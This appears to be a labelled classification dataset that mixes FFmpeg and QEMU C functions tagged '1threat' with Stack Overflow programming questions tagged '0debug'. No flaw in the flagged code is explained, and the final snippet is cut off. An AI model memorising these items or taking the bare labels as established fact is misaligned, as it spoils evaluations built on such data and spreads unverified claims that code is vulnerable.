c->avg_tpel_pixels_tab[ 8] = avg_tpel_pixels_mc02_c;
c->avg_tpel_pixels_tab[ 9] = avg_tpel_pixels_mc12_c;
c->avg_tpel_pixels_tab[10] = avg_tpel_pixels_mc22_c;
#define dspfunc(PFX, IDX, NUM) \
c->PFX ## _pixels_tab[IDX][ 0] = PFX ## NUM ## _mc00_c; \
c->PFX ## _pixels_tab[IDX][ 1] = PFX ## NUM ## _mc10_c; \
c->PFX ## _pixels_tab[IDX][ 2] = PFX ## NUM ## _mc20_c; \
c->PFX ## _pixels_tab[IDX][ 3] = PFX ## NUM ## _mc30_c; \
c->PFX ## _pixels_tab[IDX][ 4] = PFX ## NUM ## _mc01_c; \
c->PFX ## _pixels_tab[IDX][ 5] = PFX ## NUM ## _mc11_c; \
c->PFX ## _pixels_tab[IDX][ 6] = PFX ## NUM ## _mc21_c; \
c->PFX ## _pixels_tab[IDX][ 7] = PFX ## NUM ## _mc31_c; \
c->PFX ## _pixels_tab[IDX][ 8] = PFX ## NUM ## _mc02_c; \
c->PFX ## _pixels_tab[IDX][ 9] = PFX ## NUM ## _mc12_c; \
c->PFX ## _pixels_tab[IDX][10] = PFX ## NUM ## _mc22_c; \
c->PFX ## _pixels_tab[IDX][11] = PFX ## NUM ## _mc32_c; \
c->PFX ## _pixels_tab[IDX][12] = PFX ## NUM ## _mc03_c; \
c->PFX ## _pixels_tab[IDX][13] = PFX ## NUM ## _mc13_c; \
c->PFX ## _pixels_tab[IDX][14] = PFX ## NUM ## _mc23_c; \
c->PFX ## _pixels_tab[IDX][15] = PFX ## NUM ## _mc33_c
dspfunc(put_qpel, 0, 16);
dspfunc(put_no_rnd_qpel, 0, 16);
dspfunc(avg_qpel, 0, 16);
dspfunc(put_qpel, 1, 8);
dspfunc(put_no_rnd_qpel, 1, 8);
dspfunc(avg_qpel, 1, 8);
#undef dspfunc
#if CONFIG_MLP_DECODER || CONFIG_TRUEHD_DECODER
ff_mlp_init(c, avctx);
#endif
#if CONFIG_WMV2_DECODER || CONFIG_VC1_DECODER
ff_intrax8dsp_init(c,avctx);
#endif
c->put_mspel_pixels_tab[0]= ff_put_pixels8x8_c;
c->put_mspel_pixels_tab[1]= put_mspel8_mc10_c;
c->put_mspel_pixels_tab[2]= put_mspel8_mc20_c;
c->put_mspel_pixels_tab[3]= put_mspel8_mc30_c;
c->put_mspel_pixels_tab[4]= put_mspel8_mc02_c;
c->put_mspel_pixels_tab[5]= put_mspel8_mc12_c;
c->put_mspel_pixels_tab[6]= put_mspel8_mc22_c;
c->put_mspel_pixels_tab[7]= put_mspel8_mc32_c;
#define SET_CMP_FUNC(name) \
c->name[0]= name ## 16_c;\
c->name[1]= name ## 8x8_c;
SET_CMP_FUNC(hadamard8_diff)
c->hadamard8_diff[4]= hadamard8_intra16_c;
c->hadamard8_diff[5]= hadamard8_intra8x8_c;
SET_CMP_FUNC(dct_sad)
SET_CMP_FUNC(dct_max)
#if CONFIG_GPL
SET_CMP_FUNC(dct264_sad)
#endif
c->sad[0]= pix_abs16_c;
c->sad[1]= pix_abs8_c;
c->sse[0]= sse16_c;
c->sse[1]= sse8_c;
c->sse[2]= sse4_c;
SET_CMP_FUNC(quant_psnr)
SET_CMP_FUNC(rd)
SET_CMP_FUNC(bit)
c->vsad[0]= vsad16_c;
c->vsad[4]= vsad_intra16_c;
c->vsad[5]= vsad_intra8_c;
c->vsse[0]= vsse16_c;
c->vsse[4]= vsse_intra16_c;
c->vsse[5]= vsse_intra8_c;
c->nsse[0]= nsse16_c;
c->nsse[1]= nsse8_c;
#if CONFIG_DWT
ff_dsputil_init_dwt(c);
#endif
c->ssd_int8_vs_int16 = ssd_int8_vs_int16_c;
c->add_bytes= add_bytes_c;
c->diff_bytes= diff_bytes_c;
c->add_hfyu_median_prediction= add_hfyu_median_prediction_c;
c->sub_hfyu_median_prediction= sub_hfyu_median_prediction_c;
c->add_hfyu_left_prediction = add_hfyu_left_prediction_c;
c->add_hfyu_left_prediction_bgr32 = add_hfyu_left_prediction_bgr32_c;
c->bswap_buf= bswap_buf;
c->bswap16_buf = bswap16_buf;
if (CONFIG_H263_DECODER || CONFIG_H263_ENCODER) {
c->h263_h_loop_filter= h263_h_loop_filter_c;
c->h263_v_loop_filter= h263_v_loop_filter_c;
}
if (CONFIG_VP3_DECODER) {
c->vp3_h_loop_filter= ff_vp3_h_loop_filter_c;
c->vp3_v_loop_filter= ff_vp3_v_loop_filter_c;
c->vp3_idct_dc_add= ff_vp3_idct_dc_add_c;
}
c->h261_loop_filter= h261_loop_filter_c;
c->try_8x8basis= try_8x8basis_c;
c->add_8x8basis= add_8x8basis_c;
#if CONFIG_VORBIS_DECODER
c->vorbis_inverse_coupling = ff_vorbis_inverse_coupling;
#endif
#if CONFIG_AC3_DECODER
c->ac3_downmix = ff_ac3_downmix_c;
#endif
c->vector_fmul = vector_fmul_c;
c->vector_fmul_reverse = vector_fmul_reverse_c;
c->vector_fmul_add = vector_fmul_add_c;
c->vector_fmul_window = vector_fmul_window_c;
c->vector_clipf = vector_clipf_c;
c->scalarproduct_int16 = scalarproduct_int16_c;
c->scalarproduct_and_madd_int16 = scalarproduct_and_madd_int16_c;
c->apply_window_int16 = apply_window_int16_c;
c->vector_clip_int32 = vector_clip_int32_c;
c->scalarproduct_float = scalarproduct_float_c;
c->butterflies_float = butterflies_float_c;
c->butterflies_float_interleave = butterflies_float_interleave_c;
c->vector_fmul_scalar = vector_fmul_scalar_c;
c->vector_fmac_scalar = vector_fmac_scalar_c;
c->shrink[0]= av_image_copy_plane;
c->shrink[1]= ff_shrink22;
c->shrink[2]= ff_shrink44;
c->shrink[3]= ff_shrink88;
c->prefetch= just_return;
memset(c->put_2tap_qpel_pixels_tab, 0, sizeof(c->put_2tap_qpel_pixels_tab));
memset(c->avg_2tap_qpel_pixels_tab, 0, sizeof(c->avg_2tap_qpel_pixels_tab));
#undef FUNC
#undef FUNCC
#define FUNC(f, depth) f ## _ ## depth
#define FUNCC(f, depth) f ## _ ## depth ## _c
#define dspfunc1(PFX, IDX, NUM, depth)\
c->PFX ## _pixels_tab[IDX][0] = FUNCC(PFX ## _pixels ## NUM , depth);\
c->PFX ## _pixels_tab[IDX][1] = FUNCC(PFX ## _pixels ## NUM ## _x2 , depth);\
c->PFX ## _pixels_tab[IDX][2] = FUNCC(PFX ## _pixels ## NUM ## _y2 , depth);\
c->PFX ## _pixels_tab[IDX][3] = FUNCC(PFX ## _pixels ## NUM ## _xy2, depth)
#define dspfunc2(PFX, IDX, NUM, depth)\
c->PFX ## _pixels_tab[IDX][ 0] = FUNCC(PFX ## NUM ## _mc00, depth);\
c->PFX ## _pixels_tab[IDX][ 1] = FUNCC(PFX ## NUM ## _mc10, depth);\
c->PFX ## _pixels_tab[IDX][ 2] = FUNCC(PFX ## NUM ## _mc20, depth);\
c->PFX ## _pixels_tab[IDX][ 3] = FUNCC(PFX ## NUM ## _mc30, depth);\
c->PFX ## _pixels_tab[IDX][ 4] = FUNCC(PFX ## NUM ## _mc01, depth);\
c->PFX ## _pixels_tab[IDX][ 5] = FUNCC(PFX ## NUM ## _mc11, depth);\
c->PFX ## _pixels_tab[IDX][ 6] = FUNCC(PFX ## NUM ## _mc21, depth);\
c->PFX ## _pixels_tab[IDX][ 7] = FUNCC(PFX ## NUM ## _mc31, depth);\
c->PFX ## _pixels_tab[IDX][ 8] = FUNCC(PFX ## NUM ## _mc02, depth);\
c->PFX ## _pixels_tab[IDX][ 9] = FUNCC(PFX ## NUM ## _mc12, depth);\
c->PFX ## _pixels_tab[IDX][10] = FUNCC(PFX ## NUM ## _mc22, depth);\
c->PFX ## _pixels_tab[IDX][11] = FUNCC(PFX ## NUM ## _mc32, depth);\
c->PFX ## _pixels_tab[IDX][12] = FUNCC(PFX ## NUM ## _mc03, depth);\
c->PFX ## _pixels_tab[IDX][13] = FUNCC(PFX ## NUM ## _mc13, depth);\
c->PFX ## _pixels_tab[IDX][14] = FUNCC(PFX ## NUM ## _mc23, depth);\
c->PFX ## _pixels_tab[IDX][15] = FUNCC(PFX ## NUM ## _mc33, depth)
#define BIT_DEPTH_FUNCS(depth, dct)\
c->get_pixels = FUNCC(get_pixels ## dct , depth);\
c->draw_edges = FUNCC(draw_edges , depth);\
c->emulated_edge_mc = FUNC (ff_emulated_edge_mc , depth);\
c->clear_block = FUNCC(clear_block ## dct , depth);\
c->clear_blocks = FUNCC(clear_blocks ## dct , depth);\
c->add_pixels8 = FUNCC(add_pixels8 ## dct , depth);\
c->add_pixels4 = FUNCC(add_pixels4 ## dct , depth);\
c->put_no_rnd_pixels_l2[0] = FUNCC(put_no_rnd_pixels16_l2, depth);\
c->put_no_rnd_pixels_l2[1] = FUNCC(put_no_rnd_pixels8_l2 , depth);\
\
c->put_h264_chroma_pixels_tab[0] = FUNCC(put_h264_chroma_mc8 , depth);\
c->put_h264_chroma_pixels_tab[1] = FUNCC(put_h264_chroma_mc4 , depth);\
c->put_h264_chroma_pixels_tab[2] = FUNCC(put_h264_chroma_mc2 , depth);\
c->avg_h264_chroma_pixels_tab[0] = FUNCC(avg_h264_chroma_mc8 , depth);\
c->avg_h264_chroma_pixels_tab[1] = FUNCC(avg_h264_chroma_mc4 , depth);\
c->avg_h264_chroma_pixels_tab[2] = FUNCC(avg_h264_chroma_mc2 , depth);\
\
dspfunc1(put , 0, 16, depth);\
dspfunc1(put , 1, 8, depth);\
dspfunc1(put , 2, 4, depth);\
dspfunc1(put , 3, 2, depth);\
dspfunc1(put_no_rnd, 0, 16, depth);\
dspfunc1(put_no_rnd, 1, 8, depth);\
dspfunc1(avg , 0, 16, depth);\
dspfunc1(avg , 1, 8, depth);\
dspfunc1(avg , 2, 4, depth);\
dspfunc1(avg , 3, 2, depth);\
dspfunc1(avg_no_rnd, 0, 16, depth);\
dspfunc1(avg_no_rnd, 1, 8, depth);\
\
dspfunc2(put_h264_qpel, 0, 16, depth);\
dspfunc2(put_h264_qpel, 1, 8, depth);\
dspfunc2(put_h264_qpel, 2, 4, depth);\
dspfunc2(put_h264_qpel, 3, 2, depth);\
dspfunc2(avg_h264_qpel, 0, 16, depth);\
dspfunc2(avg_h264_qpel, 1, 8, depth);\
dspfunc2(avg_h264_qpel, 2, 4, depth);
switch (avctx->bits_per_raw_sample) {
case 9:
if (c->dct_bits == 32) {
BIT_DEPTH_FUNCS(9, _32);
} else {
BIT_DEPTH_FUNCS(9, _16);
}
break;
case 10:
if (c->dct_bits == 32) {
BIT_DEPTH_FUNCS(10, _32);
} else {
BIT_DEPTH_FUNCS(10, _16);
}
break;
default:
BIT_DEPTH_FUNCS(8, _16);
break;
}
if (HAVE_MMX) ff_dsputil_init_mmx (c, avctx);
if (ARCH_ARM) ff_dsputil_init_arm (c, avctx);
if (HAVE_VIS) ff_dsputil_init_vis (c, avctx);
if (ARCH_ALPHA) ff_dsputil_init_alpha (c, avctx);
if (ARCH_PPC) ff_dsputil_init_ppc (c, avctx);
if (HAVE_MMI) ff_dsputil_init_mmi (c, avctx);
if (ARCH_SH4) ff_dsputil_init_sh4 (c, avctx);
if (ARCH_BFIN) ff_dsputil_init_bfin (c, avctx);
for(i=0; i<64; i++){
if(!c->put_2tap_qpel_pixels_tab[0][i])
c->put_2tap_qpel_pixels_tab[0][i]= c->put_h264_qpel_pixels_tab[0][i];
if(!c->avg_2tap_qpel_pixels_tab[0][i])
c->avg_2tap_qpel_pixels_tab[0][i]= c->avg_h264_qpel_pixels_tab[0][i];
}
ff_init_scantable_permutation(c->idct_permutation,
c->idct_permutation_type);
}
| 1threat
|
static void gmc1_motion(MpegEncContext *s,
uint8_t *dest_y, uint8_t *dest_cb, uint8_t *dest_cr,
uint8_t **ref_picture)
{
uint8_t *ptr;
int src_x, src_y, motion_x, motion_y;
ptrdiff_t offset, linesize, uvlinesize;
int emu = 0;
motion_x = s->sprite_offset[0][0];
motion_y = s->sprite_offset[0][1];
src_x = s->mb_x * 16 + (motion_x >> (s->sprite_warping_accuracy + 1));
src_y = s->mb_y * 16 + (motion_y >> (s->sprite_warping_accuracy + 1));
motion_x <<= (3 - s->sprite_warping_accuracy);
motion_y <<= (3 - s->sprite_warping_accuracy);
src_x = av_clip(src_x, -16, s->width);
if (src_x == s->width)
motion_x = 0;
src_y = av_clip(src_y, -16, s->height);
if (src_y == s->height)
motion_y = 0;
linesize = s->linesize;
uvlinesize = s->uvlinesize;
ptr = ref_picture[0] + src_y * linesize + src_x;
if ((unsigned)src_x >= FFMAX(s->h_edge_pos - 17, 0) ||
(unsigned)src_y >= FFMAX(s->v_edge_pos - 17, 0)) {
s->vdsp.emulated_edge_mc(s->sc.edge_emu_buffer, ptr,
linesize, linesize,
17, 17,
src_x, src_y,
s->h_edge_pos, s->v_edge_pos);
ptr = s->sc.edge_emu_buffer;
}
if ((motion_x | motion_y) & 7) {
s->mdsp.gmc1(dest_y, ptr, linesize, 16,
motion_x & 15, motion_y & 15, 128 - s->no_rounding);
s->mdsp.gmc1(dest_y + 8, ptr + 8, linesize, 16,
motion_x & 15, motion_y & 15, 128 - s->no_rounding);
} else {
int dxy;
dxy = ((motion_x >> 3) & 1) | ((motion_y >> 2) & 2);
if (s->no_rounding) {
s->hdsp.put_no_rnd_pixels_tab[0][dxy](dest_y, ptr, linesize, 16);
} else {
s->hdsp.put_pixels_tab[0][dxy](dest_y, ptr, linesize, 16);
}
}
if (CONFIG_GRAY && s->avctx->flags & AV_CODEC_FLAG_GRAY)
return;
motion_x = s->sprite_offset[1][0];
motion_y = s->sprite_offset[1][1];
src_x = s->mb_x * 8 + (motion_x >> (s->sprite_warping_accuracy + 1));
src_y = s->mb_y * 8 + (motion_y >> (s->sprite_warping_accuracy + 1));
motion_x <<= (3 - s->sprite_warping_accuracy);
motion_y <<= (3 - s->sprite_warping_accuracy);
src_x = av_clip(src_x, -8, s->width >> 1);
if (src_x == s->width >> 1)
motion_x = 0;
src_y = av_clip(src_y, -8, s->height >> 1);
if (src_y == s->height >> 1)
motion_y = 0;
offset = (src_y * uvlinesize) + src_x;
ptr = ref_picture[1] + offset;
if ((unsigned)src_x >= FFMAX((s->h_edge_pos >> 1) - 9, 0) ||
(unsigned)src_y >= FFMAX((s->v_edge_pos >> 1) - 9, 0)) {
s->vdsp.emulated_edge_mc(s->sc.edge_emu_buffer, ptr,
uvlinesize, uvlinesize,
9, 9,
src_x, src_y,
s->h_edge_pos >> 1, s->v_edge_pos >> 1);
ptr = s->sc.edge_emu_buffer;
emu = 1;
}
s->mdsp.gmc1(dest_cb, ptr, uvlinesize, 8,
motion_x & 15, motion_y & 15, 128 - s->no_rounding);
ptr = ref_picture[2] + offset;
if (emu) {
s->vdsp.emulated_edge_mc(s->sc.edge_emu_buffer, ptr,
uvlinesize, uvlinesize,
9, 9,
src_x, src_y,
s->h_edge_pos >> 1, s->v_edge_pos >> 1);
ptr = s->sc.edge_emu_buffer;
}
s->mdsp.gmc1(dest_cr, ptr, uvlinesize, 8,
motion_x & 15, motion_y & 15, 128 - s->no_rounding);
}
| 1threat
|
Why casting division by zero to integer primitives gives different results? : <pre><code> System.out.println((byte) (1.0/0));
System.out.println((short) (1.0/0));
System.out.println((int) (1.0/0));
System.out.println((long) (1.0/0));
</code></pre>
<p>The result is:</p>
<pre><code> -1
-1
2147483647
9223372036854775807
</code></pre>
<p>In binary format:</p>
<pre><code> 1111 1111
1111 1111 1111 1111
0111 1111 1111 1111 1111 1111 1111 1111
0111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111
</code></pre>
<p>Why casting infinity to int and long integers keeps sign bit as "0", while sets sign bit to "1" for byte and short integers?</p>
| 0debug
|
How to use Let's Encrypt with Docker container based on the Node.js image : <p>I am running an <a href="http://expressjs.com/" rel="noreferrer">Express</a>-based website in a Docker container based on the <a href="https://hub.docker.com/_/node/" rel="noreferrer">Node.js image</a>. How do I use <a href="https://letsencrypt.org/" rel="noreferrer">Let's Encrypt</a> with a container based on that image?</p>
| 0debug
|
GuestFileSeek *qmp_guest_file_seek(int64_t handle, int64_t offset,
int64_t whence, Error **errp)
{
GuestFileHandle *gfh;
GuestFileSeek *seek_data;
HANDLE fh;
LARGE_INTEGER new_pos, off_pos;
off_pos.QuadPart = offset;
BOOL res;
gfh = guest_file_handle_find(handle, errp);
if (!gfh) {
return NULL;
}
fh = gfh->fh;
res = SetFilePointerEx(fh, off_pos, &new_pos, whence);
if (!res) {
error_setg_win32(errp, GetLastError(), "failed to seek file");
return NULL;
}
seek_data = g_new0(GuestFileSeek, 1);
seek_data->position = new_pos.QuadPart;
return seek_data;
}
| 1threat
|
How do I tell when a NetworkImage has finished loading? : <p>I have a <a href="https://docs.flutter.io/flutter/services/NetworkImage-class.html" rel="noreferrer">NetworkImage</a> and I'd like to know when it's finished loading. How do I do that?</p>
| 0debug
|
why can't i use "where R.ApartmentID = null" to retrieve all non matching rows from the left table : I only have a month of learning experience on sql server and I was just wondering why the first query before produces the right results (i.e. join two table and only select rows from left table that does NOT have a matching row), whereas the second query returns an empty query.
First
select R.Name, A.Name
from tblResident as R
left join tblApartment as A
on R.ApartmentID = A.ID
where R.ApartmentID is null
Second
select R.Name, A.Name
from tblResident as R
left join tblApartment as A
on R.ApartmentID = A.ID
where R.ApartmentID = null
Table structure
[![enter image description here][1]][1]
[1]: http://i.stack.imgur.com/8Km5G.png
| 0debug
|
int variable = sentence.lenght won't work but sentence.Lenght will (c#) : I'm an absolute beginner in c#,I'll have my first exam in a week or so and I just can't understand this.
I know it's easier the 2nd way, but I just want to understand why the first won't work.
The objective of the code is to remove the positions where there are 2+ spaces together, and replace them with a single space.
static void Main(string[] args)
{
string sentence = Console.ReadLine();
int size = Convert.ToInt16(sentence.Length);
for (int i = 0; i < size - 1; i++)
{
sentence = sentence.Trim();
while ((sentence[i] == ' ' ) && (sentence[i+1] == ' '))
{
sentence = sentence.Remove(i + 1, 1);
}
}
Console.WriteLine(sentence);
Console.ReadLine();
}
for some reason this code won't work if you throw 2 or more spaces.
But this one works, if you use sentence.lenght , instead of size variable above.
static void Main(string[] args)
{
string sentence = Convert.ToString(Console.ReadLine());
for (int i = 0; i < sentence.Length - 1; i++)
{
while ((sentence[i] == ' ') && (sentence[i + 1] == ' '))
{
sentence = sentence.Remove(i + 1, 1);
}
}
Console.WriteLine("Sentence:{0}", sentence);
Console.ReadLine();
}
Sorry if it sounds like a stupid question, but me and my class can't find why the 1st one won't work.
Thanks for reading!
| 0debug
|
Long, single line ES6 string literal : <p>The google is full of blog posts and answers to question how one should benefit from ES6 string literals. And almost every blog post explaining this feature in depth has some details on how to implement multiline strings:</p>
<pre><code>let a = `foo
bar`;
</code></pre>
<p>But i can not find any details on how to implement long single line strings like the following:</p>
<pre><code>let a = `This is a very long single line string which might be used to display assertion messages or some text. It has much more than 80 symbols so it would take more then one screen in your text editor to view it. Hello ${world}`
</code></pre>
<p>Any clues or workarounds or should a one stick to the es3 strings instead?</p>
| 0debug
|
Automatic properties documentation for Java application : <p>Are there "Javadoc-like" instruments for configuration properties in Java application?</p>
<p>I'm currently working on Java application, which uses usual Java properties files for configuration. This is an "enterprise app", so we have dozens of properties and it's really difficult to support documentation for them.</p>
<p>So I want to find a tool or framework which makes it possible to describe properties in code, for example with annotations, and then export the documentation to a file. </p>
<p>We already use Javadoc and Swagger for documentation - it's quite convenient. It would be helpful to have something similar for properties.</p>
| 0debug
|
How to solve this task using sed or grep? : What should I write to find sublines like this (3894569) ?
I have tried "\([0-9]*\\)"
but it ,for example in line : wiluefh/u3:2(920)
finds 3 and 2 and 920
I want only 920 so what I must improve?
| 0debug
|
How to configure Google Domains + Heroku w a Naked Domain : <p>I have a domain loading in a web browser using Heroku and Google Domains. Right now the domain loads with a www: <a href="http://www" rel="noreferrer">http://www</a>. XXX .com.</p>
<p>If I enter the URL w/o the WWW like http:// XXX .com I get the following error in Chrome: "XXX.com’s server DNS address could not be found"</p>
<p>What do I need to do so that the following happens:</p>
<ol>
<li>This loads - http:// mydomain.com</li>
<li><a href="http://www" rel="noreferrer">http://www</a>. mydomain.com redirects to http:// mydomain.com</li>
</ol>
<p>Thank you</p>
| 0debug
|
static unsigned long *iscsi_allocationmap_init(IscsiLun *iscsilun)
{
return bitmap_try_new(DIV_ROUND_UP(sector_lun2qemu(iscsilun->num_blocks,
iscsilun),
iscsilun->cluster_sectors));
}
| 1threat
|
static void xio3130_downstream_realize(PCIDevice *d, Error **errp)
{
PCIEPort *p = PCIE_PORT(d);
PCIESlot *s = PCIE_SLOT(d);
int rc;
pci_bridge_initfn(d, TYPE_PCIE_BUS);
pcie_port_init_reg(d);
rc = msi_init(d, XIO3130_MSI_OFFSET, XIO3130_MSI_NR_VECTOR,
XIO3130_MSI_SUPPORTED_FLAGS & PCI_MSI_FLAGS_64BIT,
XIO3130_MSI_SUPPORTED_FLAGS & PCI_MSI_FLAGS_MASKBIT,
errp);
if (rc < 0) {
assert(rc == -ENOTSUP);
goto err_bridge;
}
rc = pci_bridge_ssvid_init(d, XIO3130_SSVID_OFFSET,
XIO3130_SSVID_SVID, XIO3130_SSVID_SSID,
errp);
if (rc < 0) {
goto err_bridge;
}
rc = pcie_cap_init(d, XIO3130_EXP_OFFSET, PCI_EXP_TYPE_DOWNSTREAM,
p->port, errp);
if (rc < 0) {
goto err_msi;
}
pcie_cap_flr_init(d);
pcie_cap_deverr_init(d);
pcie_cap_slot_init(d, s->slot);
pcie_cap_arifwd_init(d);
pcie_chassis_create(s->chassis);
rc = pcie_chassis_add_slot(s);
if (rc < 0) {
goto err_pcie_cap;
}
rc = pcie_aer_init(d, PCI_ERR_VER, XIO3130_AER_OFFSET,
PCI_ERR_SIZEOF, errp);
if (rc < 0) {
goto err;
}
return;
err:
pcie_chassis_del_slot(s);
err_pcie_cap:
pcie_cap_exit(d);
err_msi:
msi_uninit(d);
err_bridge:
pci_bridge_exitfn(d);
}
| 1threat
|
ASP.net, c#, sql command Must Declare the Scalar Variable for User Control : I have a sql command. I tested it selecting top 5 to make sure it was connected and mapped to the write datasoure. I can select the top 5. But, when I try to select with the HostID I ge the error "Must Declare the Scalar Variable". The command executes when the page loads and also when the user changes the value in the dropdownlist.
Visual Studio 2017 Community, Asp.net 4.6, Ado, c#, Microsoft SQL Server 2016
protected void Page_LoadComplete(object sender, EventArgs e)
{
//MessageBox.Show("You are in the Form.Shown event.");
{
SqlConnection con = new SqlConnection(Database.ConnectionString);
try
{
con.Open();
//SqlCommand cmd = new SqlCommand("select * from courses", con);
/***** code for current or next session for instructor *****/
//Declare @Now2 datetime = current_timestamp,
// @HostID2 varchar(15) = '104402'; /*--this would be hostID of the instructor logged into attendance page*/
SqlCommand cmd = new SqlCommand("select distinct" +
" sd.scheduledaysid as RecordID" +
",sd.status" +
",sd.minutes" +
",sm.crs_cde as CourseCode" +
",sm.crs_title as CourseTitle" +
",sm.yr_cde,sm.trm_cde" +
",sd.startTime as StartTime" +
",sd.startTime" +
",flt.instrctr_id_num as InstructorID" +
",n.First_Name" +
",n.Last_Name as InstructorName" +
" from ics_net.dbo.LMS_ScheduleDays as sd" +
" inner join ics_net.dbo.lms_section as s" +
" on sd.sectionid = s.SectionID " +
"inner JOIN ics_net.dbo.LMS_Course AS c " +
"WITH (NOLOCK) ON s.CourseID = c.CourseID " +
"inner join tmseprd.dbo.section_master as sm" +
" on c.CourseCode + ' ' + s.NAME = sm.crs_cde " +
"and left(s.erpcoursekey,4) = sm.yr_cde " +
"and substring(s.ERPCourseKey,6,2) = sm.trm_cde " +
"inner join tmseprd.dbo.student_crs_hist as sch " +
"on sm.crs_cde = sch.crs_cde " +
"and sm.yr_cde = sch.yr_cde " +
"and sm.trm_cde = sch.trm_cde " +
"inner join tmseprd.dbo.faculty_load_table " +
"as flt on sm.crs_cde = flt.crs_cde " +
"and sm.yr_cde = flt.yr_cde " +
"and sm.trm_cde = flt.trm_cde " +
"inner join TmsePrd.dbo.NAME_MASTER " +
"as n on n.id_num = flt.instrctr_id_num " +
"where sd.startdate <= @Now and sd.enddate >= @Now " +
"and flt.INSTRCTR_ID_NUM = @@HostID and sm.crs_cde not like 'ONSO%' " +
"or sd.startdate <= dateadd(mi,30,@Now) " +
"and sd.enddate >= dateadd(mi,30,@Now) " +
"and flt.INSTRCTR_ID_NUM = @@HostID " +
"and sm.crs_cde not like 'ONSO%'", con);
cmd.Parameters.AddWithValue("@RecordID", txtRecordID.Text);
cmd.Parameters.AddWithValue("@@HostID", "Int");
SqlDataReader dr = cmd.ExecuteReader();
if (dr.Read())
{
// display data in textboxes
txtRecordID.Text = dr["RecordID"].ToString();
txtInstructorID.Text = dr["InstructorID"].ToString();
txtInstructorName.Text = dr["InstructorName"].ToString();
txtCourseCode.Text = dr["CourseCode"].ToString();
txtCourseTitle.Text = dr["CourseTitle"].ToString();
txtAttendanceCode.Text = dr["AttendanceCode"].ToString();
btnUpdate.Enabled = true;
}
else
{
//lblMsg.Text = "Sorry! Invalid attendance Id";
btnUpdate.Enabled = false;
}
dr.Close();
}
| 0debug
|
How to have a horizontal filling areaplot in R : <p>Imagine a normal area plot of a continuous function y = f(x), which fills the area below the plotted graph down to the x-axis.</p>
<p>But I have to plot my data transposed. The y-data is now on the horizontal axis and the x-data is now on the vertical axis. I want to have the very same plot as before, just transposed ... so the filling should go left, towards the vertical y-axis. </p>
<p>But I can't find a fitting argument for this in the <a href="https://www.rdocumentation.org/packages/areaplot/versions/1.2-0/topics/areaplot" rel="nofollow noreferrer">R documentation of areaplot</a></p>
<p>Can you help me? Is there a work around?</p>
| 0debug
|
Intellij doesn't show .git directory : <p>How I can I get Intellij to show the .git folder in the project viewer? I tried ctrl+alt+A and clicked "show hidden files and directories", but it doesn't switch to the "on" position, so I suppose that's not the way of going about this?</p>
| 0debug
|
WebView with service worker (what are ServiceWorkerController and ServiceWorkerWebSettings?) : <p>I have a service worker going fine in Chrome desktop and Chrome mobile, and I can tell exactly what is happening via the amazing DevTools in Chrome desktop (monitoring Chrome mobile remotely via USB). My service worker is based very closely on <a href="https://googlechrome.github.io/samples/service-worker/basic/" rel="noreferrer">this example</a>. The page reloads fine without a network connection, and from the Network tab of DevTools I can confirm that resources are being cached and served by the service worker as expected.</p>
<p>But I am also loading the same page in a WebView and I'm struggling to determine whether the service worker is actually registering properly and operating as it should. I can't see a way of debugging this in the same way as you can with DevTools in Chrome desktop/mobile.</p>
<p>What is certain is that the page doesn't reload without a connection when it is in the WebView, so some resources aren't being cached. This is despite the fact that service workers <a href="https://chromereleases.googleblog.com/2015/03/android-webview-update.html" rel="noreferrer">seem to be supported in WebView</a>.</p>
<p>Looking around the place for possible steps or settings I might be missing to get it working as it does in Chrome, I came across <a href="https://developer.android.com/reference/android/webkit/ServiceWorkerController.html" rel="noreferrer">ServiceWorkerController</a> and <a href="https://developer.android.com/reference/android/webkit/ServiceWorkerWebSettings.html" rel="noreferrer">ServiceWorkerWebSettings</a>, but cannot find any documentation or examples for these (other than the basic docs linked). A search on StackOverflow for these terms gives zero results.</p>
<p>Is there a working example somewhere of a WebView that loads a page with attached service workers? Any idea how to use the above two classes... are they actually necessary?</p>
| 0debug
|
asyn await vs await task.run : <p>What is the difference in using asyn/await vs await task.run()</p>
<p>await task.run example -</p>
<pre><code> public static void Main()
{
await Task.Run(() =>
{
return "Good Job";
});
method1();
method2();
}
</code></pre>
<p>Async await example-</p>
<pre><code> public static async void Launch()
{
await GetMessage();
Method1();
Method2();
}
public static async Task<string> GetMessage()
{
//Do some stuff
}
</code></pre>
| 0debug
|
def find_Element(arr,ranges,rotations,index) :
for i in range(rotations - 1,-1,-1 ) :
left = ranges[i][0]
right = ranges[i][1]
if (left <= index and right >= index) :
if (index == left) :
index = right
else :
index = index - 1
return arr[index]
| 0debug
|
How to create an app like youtube for dowload and show video : <p>YouTube after the download file, just show it in the youtube app
. Where the file is stored and how it can be created application that open my videos and files in my application</p>
| 0debug
|
How do you print variables in Python? : <p>I'm only in secondary school so I'm not even competent at coding, but my school website is down and I cant find some answers to questions in python coding. There's probably a really simple answer, but I cant remember how to print a variable. the variable I simply a string of numbers I am sorting and I cant fid out how to print the variable. can anyone show me what to write to print the variable? </p>
| 0debug
|
Self executable python file : <p>Actually, I am new to python and I want to download some content from a website daily. So what can I use to run that file each day?
Any help would be appreciated! </p>
| 0debug
|
Slow insert on PostgreSQL using JDBC : <p>I work on a system which downloads data from a cloud system to a local database (PostgreSQL, MySQL, ...). Now I'm having an issue with PostgreSQL performance because it takes a lot of time to insert the data.</p>
<p>A number of columns and the size of the data may vary. In a sample project, I have a table with approx. 170 columns. There is one unique index - but even after dropping the index the speed of the insert did not change.</p>
<p>I'm using JDBC driver to connect to the database and I'm inserting data in batches of 250 rows (using <a href="http://docs.spring.io/spring/docs/current/javadoc-api/org/springframework/jdbc/core/namedparam/NamedParameterJdbcTemplate.html">NamedParameterJdbcTemplate</a>).</p>
<p>It took me approx. <strong>18 seconds to insert the data on Postgres</strong>. The same data set <strong>on MySQL took me just a second</strong>. That's a huge difference - where does it come from? Is Postgres JDBC driver that slow? Can it be configured somehow to make it faster? Am I missing something else? The difference between Postgres and MySQL is so huge. Any other ideas how to make it faster?</p>
<p>I made a sample project which is available on Github - <a href="https://github.com/varad/postgresql-vs-mysql">https://github.com/varad/postgresql-vs-mysql</a>. Everything happens in <a href="https://github.com/varad/postgresql-vs-mysql/blob/master/src/main/java/LetsGo.java">LetsGo class</a> in the "run" method.</p>
| 0debug
|
int av_cold ff_celt_pvq_init(CeltPVQ **pvq, int encode)
{
CeltPVQ *s = av_malloc(sizeof(CeltPVQ));
if (!s)
return AVERROR(ENOMEM);
s->pvq_search = ppp_pvq_search_c;
